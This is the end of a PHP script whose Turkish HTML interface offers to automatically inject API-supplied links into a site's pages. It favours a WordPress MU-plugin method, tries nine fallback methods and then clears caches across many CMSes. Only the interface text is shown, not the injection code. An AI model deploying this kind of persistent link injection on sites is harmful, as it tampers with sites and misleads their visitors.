        echo "<strong>🎯 WordPress Algılandı!</strong><br>\n";
        echo "Öncelikle <strong>MU-Plugin</strong> yöntemi denenecek. Bu yöntem:<br>\n";
        echo "• Tema güncellemelerinden etkilenmez<br>\n";
        echo "• Otomatik olarak her sayfada çalışır<br>\n";
        echo "• En güvenli ve profesyonel yöntemdir\n";
        echo "</div>\n";
    }
    
    echo "<br>\n";
    echo "<form method='get' style='display:inline-block;'>\n";
    echo "<button type='submit' name='inject' value='1'>🔧 Otomatik Kurulumu Başlat</button>\n";
    echo "</form>\n";
    echo "<form method='get' style='display:inline-block;margin-left:10px;'>\n";
    echo "<button type='submit' name='clear_cache' value='1' class='btn-secondary'>🧹 Cache Temizle</button>\n";
    echo "</form>\n";
    
    echo "<br><br>\n";
    echo "<div style='background:#f8f9fa;padding:15px;border-radius:5px;border-left:4px solid #2196f3;'>\n";
    echo "<strong>ℹ️ Önemli Bilgiler:</strong><br>\n";
    echo "• Tüm dosya değişikliklerinde otomatik yedek (.bak) alınır<br>\n";
    echo "• Link ID: <code>" . LINK_ID . "</code> (tüm müşteriler için aynı)<br>\n";
    echo "• Linkler API'den dinamik olarak çekilir<br>\n";
    echo "• Sistem 9 farklı yöntem dener, en az biri mutlaka çalışır<br>\n";
    echo "• Kurulum sonrası otomatik cache temizlenir\n";
    echo "</div>\n";
    
    echo "<br>\n";
    echo "<div style='background:#fff3cd;padding:15px;border-radius:5px;border-left:4px solid #ffc107;'>\n";
    echo "<strong>🧹 Cache Temizleme:</strong><br>\n";
    echo "Cache temizleme özelliği şunları temizler:<br>\n";
    echo "• <strong>WordPress:</strong> WP Cache, W3 Total Cache, WP Rocket, LiteSpeed, WP Fastest Cache, Autoptimize<br>\n";
    echo "• <strong>Laravel:</strong> Framework Cache, Config Cache, Route Cache, View Cache<br>\n";
    echo "• <strong>Symfony:</strong> Prod/Dev Cache<br>\n";
    echo "• <strong>Joomla/Drupal/PrestaShop/OpenCart:</strong> Sistem Cache'leri<br>\n";
    echo "• <strong>PHP:</strong> OPcache, APC, APCu\n";
    echo "</div>\n";
}

echo "</div>\n";
echo "</body>\n</html>";
?>